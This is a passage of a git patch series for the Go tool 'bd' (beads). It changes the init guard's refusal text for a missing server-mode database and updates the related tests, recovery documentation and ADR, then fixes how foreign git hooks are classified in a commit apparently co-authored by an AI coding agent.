import manually.\n") - b.WriteString("\nIf you are certain no recoverable data exists and want a fresh, empty database at\n") - b.WriteString("this name, opt in explicitly for this one invocation:\n") - fmt.Fprintf(&b, " bd init --recreate-missing --prefix %s\n", prefix) + b.WriteString("\nCreate a fresh, empty database at this name (only if you are certain no\n") + b.WriteString("recoverable data exists):\n") + b.WriteString(" See 'bd help init-safety' for the --recreate-missing workflow.\n") b.WriteString("\nAborting.") return errors.New(b.String()) diff --git a/cmd/bd/init_guard_force_e2e_test.go b/cmd/bd/init_guard_force_e2e_test.go index b92d57a3d..64c8fa74b 100644 --- a/cmd/bd/init_guard_force_e2e_test.go +++ b/cmd/bd/init_guard_force_e2e_test.go @@ -7,6 +7,7 @@ import ( "os" "os/exec" "path/filepath" + "strconv" "strings" "testing" ) @@ -45,27 +46,10 @@ func TestInitGuard_ForceE2EDoesNotRecreateMissingServerDB(t *testing.T) { // Port 1 is unreachable by construction, standing in for a server // whose database has been lost. - env := []string{} - for _, kv := range os.Environ() { - switch { - case strings.HasPrefix(kv, "BEADS_DIR="), - strings.HasPrefix(kv, "BEADS_DB="), - strings.HasPrefix(kv, "BD_DB="), - strings.HasPrefix(kv, "BEADS_DOLT_SERVER_PORT="), - strings.HasPrefix(kv, "BEADS_DOLT_SERVER_DATABASE="): - continue - } - env = append(env, kv) - } - env = append(env, - "BEADS_DOLT_SERVER_PORT=1", - "BD_NON_INTERACTIVE=1", - ) - // #nosec G204 -- bd is a locally built binary, flag is a literal cmd := exec.Command(bd, "init", flag, "--prefix", "myproject", "--skip-hooks") cmd.Dir = projectDir - cmd.Env = env + cmd.Env = initGuardE2EEnv(t, 1) out, err := cmd.CombinedOutput() if err == nil { @@ -80,3 +64,71 @@ func TestInitGuard_ForceE2EDoesNotRecreateMissingServerDB(t *testing.T) { }) } } + +// TestInitGuard_RecreateMissingE2ECreatesMissingServerDB is the success-side +// twin of the test above. The unit tests that permit --recreate-missing flip +// initAllowRecreateMissing directly, so nothing else runs the documented +// recovery command itself through what follows the guard (remote safety, the +// metadata rewrite, CREATE DATABASE). This runs the real binary against a live +// server that lacks the configured database: refused without the opt-in, and +// with it, init succeeds and the database exists on that server. +func TestInitGuard_RecreateMissingE2ECreatesMissingServerDB(t *testing.T) { + beadsDir := startProjectServerModeGuardFixture(t, "myproject") + port, err := strconv.Atoi(os.Getenv("BEADS_DOLT_SERVER_PORT")) + if err != nil { + t.Fatalf("fixture must pin BEADS_DOLT_SERVER_PORT: %v", err) + } + // The legacy-upgrade guard runs before init's own guards and refuses a + // server workspace whose local Dolt storage has no current-era version + // witness; a workspace bd initialized has one. + if err := writeLocalVersion(filepath.Join(beadsDir, localVersionFile), Version); err != nil { + t.Fatalf("write local version: %v", err) + } + if check := checkDatabaseOnServer("127.0.0.1", port, "root", "", "myproject", false); !check.Reachable || check.Exists { + t.Fatalf("precondition: server must be reachable and lack the database, got %+v", check) + } + + projectDir := filepath.Dir(beadsDir) + env := initGuardE2EEnv(t, port) + args := []string{"init", "--prefix", "myproject", "--skip-hooks", "--skip-agents"} + + // Without the opt-in this exact workspace is refused, so the success below + // is the flag's doing rather than a fixture init would accept anyway. + out, err := runExternalServerBD(t, projectDir, env, args...) + if err == nil || !strings.Contains(out, "not found on server") { + t.Fatalf("precondition: bd init without --recreate-missing must be refused by the missing-database guard, got err=%v:\n%s", err, out) + } + + out, err = runExternalServerBD(t, projectDir, env, append(args, "--recreate-missing")...) + if err != nil { + t.Fatalf("bd init --recreate-missing must create the missing database, got %v:\n%s", err, out) + } + if check := checkDatabaseOnServer("127.0.0.1", port, "root", "", "myproject", false); !check.Reachable || !check.Exists { + t.Fatalf("bd init --recreate-missing reported success but the database is not on the server: %+v\n%s", check, out) + } +} + +// initGuardE2EEnv builds a bd child environment in which only the fixture's +// files and the given port choose the server. Every BEADS_DOLT_* setting +// (shared-server mode, data dir, mode, the TestMain container's port) and the +// BEADS_DIR, BEADS_DB, BD_DB and BEADS_SHARED_SERVER_DIR overrides are +// dropped, which is what startProjectServerModeGuardFixture pins in-process. +// The mode variables are dropped rather than set to "0": +// initModeExplicitlyRequested treats any non-empty value as an explicit mode +// choice, and init would then stop inheriting server mode from metadata.json. +func initGuardE2EEnv(t *testing.T, port int) []string { + t.Helper() + env := []string{} + for _, kv := range externalServerTestEnv(t) { + name, _, _ := strings.Cut(kv, "=") + switch name { + case "BEADS_DB", "BD_DB", "BEADS_SHARED_SERVER_DIR": + continue + } + env = append(env, kv) + } + return append(env, + "BEADS_DOLT_SERVER_PORT="+strconv.Itoa(port), + "BD_NON_INTERACTIVE=1", + ) +} diff --git a/cmd/bd/init_guard_test.go b/cmd/bd/init_guard_test.go index ddb6643e6..cfa6a5c18 100644 --- a/cmd/bd/init_guard_test.go +++ b/cmd/bd/init_guard_test.go @@ -458,16 +458,50 @@ func TestInitGuardServerMessage_DiagnosticsBeforeForce(t *testing.T) { } } -// be-5up5: 2026-08-11 fleet-wide data loss. In server mode there is NEVER a -// local dolt/ directory, whether this is a genuine fresh clone or an existing -// project whose server-side database was lost — doltDirExists==false alone -// (GH#2433's signal) cannot tell them apart. metadata.json's project_id is -// only written by a real prior init, so a non-empty project_id here is proof -// this is an existing project recovering from a missing database, not -// GH#2433's fresh-clone case (whose fixture carries no project_id — see -// TestInitGuard_FreshCloneWithMetadataJSON above). init must refuse and -// point at bd bootstrap, not silently recreate an empty database on the -// server (the missing-database state that reproduced the 2026-08-11 loss). +// TestInitGuardMissingServerDBMessage_RefusalTextNoEcho extends ADR 0002 +// Invariant 4 (error-text-no-echo) to the missing-database refusal, which the +// TestCheckRemoteSafety_*NoEcho family does not reach. The refusal must name +// --recreate-missing, since that opt-in is the documented way out, but must not +// spell out a runnable invocation of it: it also fires when the server merely +// could not be reached, and a one-liner copied from the error skips the +// diagnosis the message asks for. Both evidence arms are covered, with an empty +// prefix too, because the guard runs before --prefix is resolved and so sees +// the raw flag value, which may be "". +func TestInitGuardMissingServerDBMessage_RefusalTextNoEcho(t *testing.T) { + for _, haveProjectID := range []bool{true, false} { + for _, prefix := range []string{"myproject", ""} { + msg := initGuardMissingServerDBMessage("myproject", "127.0.0.1", 3307, prefix, haveProjectID).Error() + for _, line := range strings.Split(msg, "\n") { + if strings.Contains(line, "--recreate-missing") && + (strings.Contains(line, "bd init") || strings.Contains(line, "--prefix")) { + t.Errorf("haveProjectID=%v prefix=%q: refusal spells out a runnable --recreate-missing invocation %q:\n%s", + haveProjectID, prefix, line, msg) + } + } + if !strings.Contains(msg, "--recreate-missing") { + t.Errorf("haveProjectID=%v prefix=%q: refusal must still name the --recreate-missing opt-in:\n%s", + haveProjectID, prefix, msg) + } + if !strings.Contains(msg, "bd help init-safety") { + t.Errorf("haveProjectID=%v prefix=%q: refusal does not point to 'bd help init-safety':\n%s", + haveProjectID, prefix, msg) + } + } + } +} + +// be-5up5: 2026-08-11 fleet-wide data loss. With no local Dolt storage for +// this project, the filesystem cannot tell a genuine fresh clone from an +// existing project whose server-side database was lost — doltDirExists==false +// (GH#2433's signal) is true of both. A non-empty project_id in metadata.json +// is taken as evidence of a prior init, so this is treated as an existing +// project recovering from a missing database, not GH#2433's fresh-clone case +// (whose fixture carries no project_id — see +// TestInitGuard_FreshCloneWithMetadataJSON above; ADR 0004 records why that +// signal is kept despite clones inheriting it). init must refuse and name a +// restore path rather than bd bootstrap, and must not silently recreate an +// empty database on the server (the state that reproduced the 2026-08-11 +// loss). func TestInitGuard_ExistingProjectMissingServerDB_Refuses(t *testing.T) { testutil.RequireDoltBinary(t) @@ -568,7 +602,7 @@ func TestInitGuard_ExistingProjectMissingServerDB_RecreateMissingAllows(t *testi return data } - t.Run("server_reachable_db_missing (init.go:2566)", func(t *testing.T) { + t.Run("server_reachable_db_missing", func(t *testing.T) { testutil.RequireDoltBinary(t) oldServerMode := serverMode @@ -613,7 +647,7 @@ func TestInitGuard_ExistingProjectMissingServerDB_RecreateMissingAllows(t *testi } }) - t.Run("server_unreachable (init.go:2578)", func(t *testing.T) { + t.Run("server_unreachable", func(t *testing.T) { oldServerMode := serverMode serverMode = true defer func() { serverMode = oldServerMode }() @@ -1088,11 +1122,14 @@ func TestInitGuard_ExistingProjectMissingServerDB_DataDirPresent_Refuses(t *test // TestInitGuard_RecreateMissing_ReachesOptIn_DataDirPresent is the blocker // itself: four surfaces (the --recreate-missing flag help, `bd help // init-safety`, docs/recovery/init-safety.md and the guard's own refusal text) -// tell the operator to run `bd init --recreate-missing --prefix

`. With the +// told the operator to run `bd init --recreate-missing --prefix

`. With the // data directory present, that command could not reach its own opt-in and // exited 1 with the false "already initialized" message — so the documented // recovery was a dead end, and the only thing that worked (--reinit-local -// --recreate-missing) is named nowhere. +// --recreate-missing) was named nowhere. The refusal text has since stopped +// spelling the command out (it names the flag and routes to `bd help +// init-safety`; see TestInitGuardMissingServerDBMessage_RefusalTextNoEcho), +// but the other three surfaces still document it. func TestInitGuard_RecreateMissing_ReachesOptIn_DataDirPresent(t *testing.T) { oldServerMode := serverMode serverMode = true diff --git a/cmd/bd/init_safety_help.go b/cmd/bd/init_safety_help.go index cb47ad392..29708f6a3 100644 --- a/cmd/bd/init_safety_help.go +++ b/cmd/bd/init_safety_help.go @@ -31,15 +31,18 @@ FLAG SURFACE local data. Does NOT authorize discarding remote history. If origin has Dolt data this will refuse — pair with - --discard-remote to override. + --discard-remote to override. Nor does it + authorize recreating a missing server-mode + database; that takes --recreate-missing. bd init --reinit-local \ Discard the remote's Dolt history and --discard-remote replace it with the local reinit. First bd dolt push after this will be a history-replacing force-push. - bd init --force Deprecated alias for --reinit-local. - Kept working for ≥2 releases. + bd init --force Deprecated alias for --reinit-local, with + the same limits. Kept working for ≥2 + releases. bd init --recreate-missing Authorize creating a fresh, empty database when this project's configured server-mode @@ -48,7 +51,14 @@ FLAG SURFACE --force/--reinit-local, config, or env. Without it, bd init REFUSES rather than silently recreating a lost database as - empty (be-5up5). + empty (be-5up5). First rule out a stopped + server or a wrong port or data dir, and + restore if you can; the playbook is + init-missing-server-db in + docs/recovery/init-safety.md. Only when + nothing is recoverable: + + bd init --recreate-missing --prefix bd init --from-jsonl Import from configured import.path. If origin has Dolt data, this refuses unless diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index de5bc206f..18aa6da05 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -3,7 +3,7 @@ title: Recovery Playbooks description: Step-by-step recovery for bd init and bd dolt push/pull refusals, including the primary-key fork playbook --- -Last reviewed: 2026-09-27 +Last reviewed: 2026-10-01 Freshness source: `cmd/bd/init.go`, `cmd/bd/init_safety.go`, `cmd/bd/init_safety_test.go`, `cmd/bd/init_safety_help.go`, and @@ -46,9 +46,11 @@ bd init refuses: remote 'origin' already has Dolt history (refs/dolt/data). **Why this happens** `bd init --force` (or `--reinit-local`) tells `bd` to bypass the local -data-safety guard. `bd init --from-jsonl` selects a local JSONL export as -the source. But the remote already has project history. Proceeding would -create an orphan local Dolt branch with no common ancestor on origin. The +data-safety guard, and only that guard: neither flag bypasses this refusal +or the [missing server-side database refusal](#init-missing-server-db). +`bd init --from-jsonl` selects a local JSONL export as the source. But the +remote already has project history. Proceeding would create an orphan local +Dolt branch with no common ancestor on origin. The next `bd dolt push` would either fail (no common ancestor) or — worse, if force-pushed — destroy the team's data. @@ -224,14 +226,17 @@ issue data behind a new, empty database of the same name. **What happened** -This workspace is in server mode and `.beads/metadata.json` carries a -`project_id`, which is written only by a real prior `bd init`. So the project -was definitely initialized at some point — but its configured database is not -on the server, or the server could not be reached to confirm. +This workspace is in server mode and shows evidence of a prior `bd init`: +`.beads/metadata.json` carries a `project_id`, or (under `--reinit-local` or +`--force`) a workspace that predates `project_id` still has a local Dolt data +directory, in which case the message cites that instead of `metadata.json`. +Yet its configured database is not on the server, or the server could not be +reached to confirm. -That is a **recovery** situation, not a fresh clone, and the two are otherwise -indistinguishable from the local filesystem alone: in server mode there is -normally no local database directory either way. `bd init` used to resolve the +That is treated as a **recovery** situation, not a fresh clone, and the two are +otherwise indistinguishable from the local filesystem alone: this project's own +database directory is absent either way, because it was never created here or +because it was lost with the local storage. `bd init` used to resolve the ambiguity by assuming "fresh clone" and creating the database. When the assumption was wrong, the result was a new, empty database sitting at the name the real one used to occupy — the 2026-08-11 fleet-wide data loss. @@ -274,12 +279,34 @@ bd init --recreate-missing --prefix myproject by `--force`, `--reinit-local`, a config key, or an environment variable, because it authorizes the one thing this guard exists to prevent. +The refusal names `--recreate-missing` but does not print this command: it also +fires when the server merely could not be reached, so it sends you through +steps 1 and 2 here instead of handing you a line to paste. See +[ADR 0002 — Invariant 4](https://github.com/gastownhall/beads/blob/main/engdocs/adr/0002-init-safety-invariants.md). + **Limits worth knowing** -- The guard keys on `project_id`, which was introduced by GH#2372. A workspace - initialized before that has no `project_id` and is indistinguishable from a - fresh clone, so it **fails open** — `bd init` will still create the database. -- The same `project_id` is inherited by a **fresh clone**, because +Whether a workspace meets this refusal depends on two pieces of local +evidence: whether this project's own database directory +(`//.dolt`) exists, and whether `metadata.json` +carries a `project_id` (introduced by GH#2372). With the configured database +missing from the server, or the server unreachable: + +| Local Dolt storage | `project_id` | `bd init` | `bd init --reinit-local` / `--force` | +|---|---|---|---| +| This project's database directory present | Either | Refused as already initialized, not by this guard | Not this guard; the ordinary re-init path | +| Data dir present, database directory absent | Present | This refusal | This refusal | +| Data dir present, database directory absent | Absent | Refused as already initialized, not by this guard | This refusal | +| No Dolt data dir | Present | This refusal | This refusal | +| No Dolt data dir | Absent | Proceeds, as for a fresh clone | Proceeds, as for a fresh clone | + +Adding `--recreate-missing` lifts every refusal in the last four rows, +including the third row's "already initialized". It changes nothing in the +first row, where this project's database is still on local disk. In +shared-server mode the data dir is machine-global (see below), so the last two +rows rarely apply there. + +- `project_id` is also inherited by a **fresh clone**, because `.beads/metadata.json` is git-tracked by default. Cloning a beads-managed repo whose server-side database does not exist yet therefore meets this refusal rather than a plain first init. It fails in the safe direction — @@ -290,11 +317,6 @@ because it authorizes the one thing this guard exists to prevent. cannot tell "never initialized here" from "initialized here, storage since lost"), and why `--recreate-missing` is the permanent resolution path rather than a stopgap. -- The guard applies equally to `bd init`, `bd init --reinit-local` and - `bd init --force`. If your workspace predates `project_id` and its local - Dolt storage is gone, all three refuse until you pass `--recreate-missing`; - a workspace with no local Dolt storage at all is treated as a fresh clone by - all three. - Server mode only, and shared-server mode counts as server mode — the guard tests for *this project's* database directory under the resolved Dolt data dir, not for the data dir itself, which in shared mode is the machine-global diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 11596eaf0..21e77acfa 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -53,7 +53,7 @@ Follow-up automation should replace marker-only checks with generated or | `adr/0001-multi-remote-approach.md` | Keep | ADR; historical decision record, not a live reference table. | | `adr/0002-init-safety-invariants.md` | Keep | ADR backing `RECOVERY.md` and init safety code. | | `adr/0003-provenance-event-log.md` | Keep | ADR; historical decision record for the `provenance_events` table and `bd provenance` command group. Status: Proposed pending a maintainer post on issue 4460. | -| `adr/0004-missing-database-guard-signal.md` | Keep | ADR; settles the proof-of-prior-init signal for the missing-database init guards. Extends `adr/0002`. Status: Proposed. | +| `adr/0004-missing-database-guard-signal.md` | Keep | ADR; settles the proof-of-prior-init signal for the missing-database init guards. Extends `adr/0002`. Status: Accepted. | | `ADVANCED.md` | Keep/revise as needed | User-facing advanced workflows; mixed command examples should defer to generated CLI reference when expanded. | | `AIDER_INTEGRATION.md` | Keep | User-facing integration guide; evidence is setup/integration behaviour. | | `ANTIVIRUS.md` | Keep | User-facing operational note; review vendor/version claims when touched. | diff --git a/engdocs/adr/0004-missing-database-guard-signal.md b/engdocs/adr/0004-missing-database-guard-signal.md index 837c8ca62..0ccfb593e 100644 --- a/engdocs/adr/0004-missing-database-guard-signal.md +++ b/engdocs/adr/0004-missing-database-guard-signal.md @@ -2,7 +2,7 @@ ## Status -Proposed — 2026-09-16. +Accepted — 2026-10-01, landed with #5791 (proposed 2026-09-16). Extends [ADR 0002](0002-init-safety-invariants.md), which established the `bd init` safety invariants and the scope-bound `--force` / `--reinit-local` @@ -133,7 +133,10 @@ would need new mechanism for no safety gain. pre-GH#2372 workspace whose local database was lost was protected under plain `bd init` but waved through under `--reinit-local` / `--force` — the flags an operator reaches for in a panic were the weaker path. -- `checkExistingBeadsDataAt` does not change. +- `checkExistingBeadsDataAt` needs no further change for this decision. The + probe fix described under Context, which landed in the same PR (#5791), + already gave it the Tier 1 probe ahead of `project_id` and the + coarse-directory permit condition. - The fresh-clone false positive (GH#2433) remains by design for the cells where it is unavoidable. - Both guards cite this ADR, so the question stops being re-litigated each From 83cb8201a2bef033bddb1f084a58fcaf1b97fba9 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Thu, 1 Oct 2026 07:31:31 -0700 Subject: [PATCH 038/325] fix(hooks): don't report foreign hooks as installed (#6274) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * hooks: don't report foreign hooks as installed (GH#6084) CheckGitHooks was calling getHookVersion and treating any nil-error return as proof that beads installed the hook. getHookVersion returns hookVersionInfo{} (IsBdHook=false) with a nil error when the file is readable but contains no beads markers, so a foreign hook written by another tool was falsely shown as installed in bd hooks list. Fix: gate status.Installed=true on versionInfo.IsBdHook. The inner Outdated check is unchanged in effect: it is now only reached when IsBdHook is true (guaranteed by the new early-exit), so the now-redundant IsBdHook guard in that condition is dropped. Add TestCheckGitHooks_ForeignHookNotInstalled (regression for the bug) and TestCheckGitHooks_BeadsHookIsInstalled (positive coverage for all four recognised beads marker variants: section-marker, legacy-version, shim, and inline). * fix(hooks): count a bd hooks run integration as installed, not as bd-owned Review fix for the findings filed on PR #6274 (GH#6084). Gating HookStatus.Installed on IsBdHook also reclassified the integration beads itself prescribes for external hook managers: a hook that calls `bd hooks run ` and carries no beads marker (GH#946). bd doctor has recognized that shape since GH#946 via bdHooksRunPattern; cmd/bd's getHookVersion did not, so bd hooks list, bd info and bd config drift disagreed with bd doctor about the same file, and `bd config drift`'s documented exit code flipped from 0 to 1 for those users. doctor.isBdHookContent is exported as doctor.IsBdHookContent and getHookVersion now calls it, so a single classifier answers "is this a bd hook" for both packages. The classification is carried on a new hookVersionInfo.IsExternalIntegration field, not on IsBdHook. IsBdHook is not only the display predicate: it is the ownership predicate at three write sites, and setting it for a file bd never wrote made bd destroy exactly the setup this branch exists to protect. Measured on a scratch repo whose .git/hooks/pre-commit is `lefthook run pre-commit "$@"` plus `bd hooks run pre-commit "$@"`, against the same tree with only cmd/bd/hooks.go reverted: reverted IsBdHook this commit install: manager's own line survives yes no yes install: pre-commit.backup written yes no yes uninstall: hook file survives yes no yes Both commands printed success and exited 0 in every arm, so the loss was silent and, with no sidecar, unrecoverable. Mechanism: installHooksWithOptions (hooks.go:1026) took the "legacy bd hook — replace entire file" arm instead of the arm that writes the .backup sidecar and injects; uninstallHooks (hooks.go:1438) os.Remove'd instead of reaching "not a bd hook at all — leave it alone"; and isBdOwnedHookFile (hooks.go:913) returned true, so the tracked-file write refusal in guardHookWritePath stopped refusing. So ownership decisions keep asking IsBdHook, and only the two predicates that ask "is this a working beads integration" widen: the CheckGitHooks installed gate, and the runChainedHook recursion guard. The guard needs it — a .old that delegates via `bd hooks run` re-enters bd, which chains to the same .old again; it is skipped at this commit and at the previous one, and executed before either. That is a recursion question, not an ownership question. Reporting the shape as a shim is what keeps Outdated false. CheckGitHooks sets Outdated when !IsShim && Version != Version, so an unversioned non-shim would be reported outdated, `bd config drift` would still exit 1 — with a hooks.outdated item instead of hooks.missing — and bd info would still say to run `bd hooks install`, which would overwrite the manager's own hook. The behavior lives in the bd binary the hook calls, so there is no hook template to re-install. The read surface is unchanged from the previous commit and still measured on five hooks, since CheckGitHooks iterates all five: the delegating shape reports installed with `bd config drift` exiting 0, five genuinely foreign hooks report not installed, and a GH#1120 inline hook is still outdated because bd wrote that template. Tests cover both consumer kinds. The previous commit pinned the read surface only, which is why the write-path regression above left the suite green: the existing install/uninstall fixtures use hook bodies with no `bd hooks run` line, so they never took the changed branch. Adds a fixture that does, and with it an install-backup case, a tracked-file refusal case and an uninstall-survival case. All three fail if the classification moves back to IsBdHook, each on its own assertion — missing .backup, nil refusal error, deleted file — while the two read-surface tests stay green, so they pin the write surface specifically. The recursion guard is pinned the same way. Its fixture comments the `bd hooks run` line out: the classifier matches the call anywhere in the file, so the .old still classifies as an external integration, but a guard that stops firing only leaves a marker file behind instead of looping. Narrowing the guard back to IsBdHook fails the delegating case, a guard that skips every .old fails the plain case that must still run, and moving the classification back to IsBdHook fails the fixture's own classification check. Also narrows the CHANGELOG: it claimed bd hooks list, bd info, bd config drift and bd doctor "cannot disagree about the same file", but doctor still splits installed from missing by bare os.Stat (doctor/git.go:65) and uses the shared predicate only for outdatedness, so the divergence is real and stays tracked separately. And bd hooks list no longer prints the dangling `installed (shim )` for a versionless integration — the rendered string only; HookStatus is marshaled verbatim by --json. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 20 +++++ cmd/bd/doctor/git.go | 9 +- cmd/bd/doctor/git_test.go | 4 +- cmd/bd/hooks.go | 74 ++++++++++++++-- cmd/bd/hooks_guard_test.go | 171 +++++++++++++++++++++++++++++++++++++ cmd/bd/init_hooks_test.go | 118 +++++++++++++++++++++++++ 6 files changed, 383 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c11f28a97..947fc2325 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -241,6 +241,26 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 resolution never performed abbreviation matching in the first place) — a regression test now locks that in rather than leaving it undocumented. +- **A git hook beads never wrote is no longer reported as installed** + ([#6084](https://github.com/gastownhall/beads/issues/6084)). `getHookVersion` + returns no error for a readable hook file that carries no beads markers, so a + hand-written `pre-commit` — one beads does not own — was printed as + `✓ installed (version )` by `bd hooks list`, counted as installed by + `bd info`, and reported as no drift by `bd config drift`. Those surfaces now + report such a file as not installed. This is a user-visible change to a + scripted contract: in a repository whose hooks beads does not own, + `bd config drift` now exits 1 (drift detected) where it exited 0, so + automation keyed on that exit code should re-check those repositories before + upgrading. A hook that calls `bd hooks run ` still counts as installed + even with no beads marker — that is the integration beads prescribes for + external hook managers such as lefthook and husky (GH#946) — and it is + version-agnostic, so it is never reported outdated and never prompts + `bd hooks install`, which would overwrite the manager's own hook. + `bd hooks list`, `bd info` and `bd config drift` now use the same predicate as + `bd doctor` for deciding whether a hook file is a beads hook; `bd doctor`'s own + installed/missing check still only tests for file existence and is tracked + separately. + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/cmd/bd/doctor/git.go b/cmd/bd/doctor/git.go index 52ba17c0d..8e3265948 100644 --- a/cmd/bd/doctor/git.go +++ b/cmd/bd/doctor/git.go @@ -212,7 +212,7 @@ func findOutdatedBDHookVersions( // No version comment found. If this is a bd hook (has shim marker, // inline marker, or calls bd hooks run), treat it as outdated since // all current hook templates include a version comment. (GH#1466) - if isBdHookContent(contentStr) { + if IsBdHookContent(contentStr) { outdated = append(outdated, fmt.Sprintf("%s@unknown", hookName)) if oldest == "" { oldest = "0.0.0" @@ -230,8 +230,11 @@ func findOutdatedBDHookVersions( return outdated, oldest } -// isBdHookContent checks if hook content is a bd hook (shim, inline, section-marker, or calls bd hooks run). -func isBdHookContent(content string) bool { +// IsBdHookContent checks if hook content is a bd hook (shim, inline, section-marker, or calls bd hooks run). +// It is exported because cmd/bd's getHookVersion classifies the same files for +// bd hooks list / bd info / bd config drift; sharing one predicate is what keeps +// those surfaces from disagreeing with bd doctor about the same hook (GH#6084). +func IsBdHookContent(content string) bool { return strings.Contains(content, bdShimMarker) || strings.Contains(content, bdInlineHookMarker) || strings.Contains(content, bdSectionMarkerPrefix) || diff --git a/cmd/bd/doctor/git_test.go b/cmd/bd/doctor/git_test.go index ec1d860eb..420c44dd8 100644 --- a/cmd/bd/doctor/git_test.go +++ b/cmd/bd/doctor/git_test.go @@ -311,9 +311,9 @@ func TestIsBdHookContent(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - got := isBdHookContent(tt.content) + got := IsBdHookContent(tt.content) if got != tt.want { - t.Errorf("isBdHookContent() = %v, want %v", got, tt.want) + t.Errorf("IsBdHookContent() = %v, want %v", got, tt.want) } }) } diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index deed54e94..033f4311a 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -536,11 +536,21 @@ func checkGitHooksAt(hooksDir string) []HookStatus { Name: hookName, } - // Check if hook exists + // Check if hook exists and is a beads-managed hook (GH#6084). + // getHookVersion returns (hookVersionInfo{}, nil) — no error — when the + // file is readable but contains no beads markers. Only set Installed=true + // when the file is actually a beads hook; a foreign file that beads never + // touched must not be reported as installed. + // + // This is a recognition gate, not an ownership gate, so it also accepts a + // hook bd does not own that delegates via "bd hooks run" (GH#946): that + // setup genuinely works, and reporting it "not installed" is the bug + // GH#6084's fix would otherwise introduce. Ownership stays narrower — + // see hookVersionInfo.IsExternalIntegration. hookPath := filepath.Join(hooksDir, hookName) versionInfo, err := getHookVersion(hookPath) - if err != nil { - // Hook doesn't exist or couldn't be read + if err != nil || (!versionInfo.IsBdHook && !versionInfo.IsExternalIntegration) { + // Hook doesn't exist, couldn't be read, or is not a beads hook status.Installed = false } else { status.Installed = true @@ -549,7 +559,7 @@ func checkGitHooksAt(hooksDir string) []HookStatus { // Thin shims are never outdated (they delegate to bd) // bd hooks are outdated if version is missing (legacy inline) or differs - if !versionInfo.IsShim && versionInfo.IsBdHook && versionInfo.Version != Version { + if !versionInfo.IsShim && versionInfo.Version != Version { status.Outdated = true } } @@ -564,7 +574,15 @@ func checkGitHooksAt(hooksDir string) []HookStatus { type hookVersionInfo struct { Version string // bd version (for legacy hooks) or shim version IsShim bool // true if this is a thin shim - IsBdHook bool // true if this is any type of bd hook (shim or inline) + IsBdHook bool // true if bd owns the file: bd wrote it and may rewrite or remove it + // IsExternalIntegration is true for a hook bd did NOT write that delegates to + // bd anyway — the "bd hooks run" shape beads prescribes for external managers + // like lefthook and husky (GH#946). Such a file is a working beads + // integration, so the surfaces that merely *recognize* hooks must count it; + // but it belongs to the external manager, so it is deliberately NOT + // IsBdHook. Ownership decisions (install rewrite, uninstall removal, + // isBdOwnedHookFile) key on IsBdHook alone and must keep leaving it alone. + IsExternalIntegration bool } // getHookVersion extracts the version from a hook file @@ -615,6 +633,31 @@ func getHookVersion(path string) (hookVersionInfo, error) { return hookVersionInfo{IsBdHook: true}, nil } + // A hook that calls "bd hooks run" is a beads integration even with no + // marker: that is the shape beads prescribes for external hook managers + // like lefthook and husky (GH#946), and doctor.IsBdHookContent — the + // classifier both packages now share — already recognizes it. Without this, + // the GH#6084 IsBdHook gate would report that supported setup as "not + // installed" on bd hooks list, bd info and bd config drift, whose exit code + // is a documented contract. + // + // It is IsExternalIntegration and NOT IsBdHook on purpose. bd did not write + // this file and must never rewrite or delete it: IsBdHook is the ownership + // predicate at three write sites (the install rewrite, the uninstall + // os.Remove, and isBdOwnedHookFile behind the tracked-file refusal), so + // setting it here would let bd destroy the external manager's own hook — + // without even the .backup sidecar — on precisely the setup this branch + // exists to support. + // + // Report it as a shim: the behavior lives in the bd binary the hook + // delegates to, so there is no hook template to re-install and Outdated must + // stay false. A versionless non-shim would instead be flagged outdated, + // which keeps bd config drift exiting 1 and tells the user to run + // bd hooks install — advice that would overwrite the manager's own hook. + if doctor.IsBdHookContent(content.String()) { + return hookVersionInfo{IsShim: true, IsExternalIntegration: true}, nil + } + // No version found and not a bd hook return hookVersionInfo{}, nil } @@ -798,7 +841,16 @@ var hooksListCmd = &cobra.Command{ if !status.Installed { fmt.Printf(" ✗ %s: not installed\n", status.Name) } else if status.IsShim { - fmt.Printf(" ✓ %s: installed (shim %s)\n", status.Name, status.Version) + // An external manager's integration (GH#946) carries no bd + // version, so print no parenthetical version rather than the + // dangling "(shim )" — the same confusing empty-parens shape + // GH#6084 reported. Only the rendered string changes; + // HookStatus is marshaled verbatim by --json. + if status.Version == "" { + fmt.Printf(" ✓ %s: installed (shim)\n", status.Name) + } else { + fmt.Printf(" ✓ %s: installed (shim %s)\n", status.Name, status.Version) + } } else if status.Outdated { fmt.Printf(" ⚠ %s: installed (version %s, current: %s) - outdated\n", status.Name, status.Version, Version) @@ -1713,9 +1765,15 @@ func runChainedHook(hookName string, args []string) int { // Check if .old is itself a bd hook (shim or inline) - skip to prevent infinite recursion // This can happen if user runs `bd hooks install --chain` multiple times, // renaming an existing bd hook to .old. See: GH#843, GH#1120 + // + // IsExternalIntegration counts here too: a .old that delegates via + // "bd hooks run" re-enters bd, which chains to the same .old again. This is a + // recursion question ("would running this call us back?"), not an ownership + // question, so it takes the wider predicate — unlike the write sites, which + // stay on IsBdHook alone. versionInfo, err := getHookVersion(oldHookPath) - if err == nil && versionInfo.IsBdHook { - // Skip execution - .old is a bd hook which would call us again + if err == nil && (versionInfo.IsBdHook || versionInfo.IsExternalIntegration) { + // Skip execution - .old would call us again return 0 } diff --git a/cmd/bd/hooks_guard_test.go b/cmd/bd/hooks_guard_test.go index 2eb7d54bb..b06bc76b2 100644 --- a/cmd/bd/hooks_guard_test.go +++ 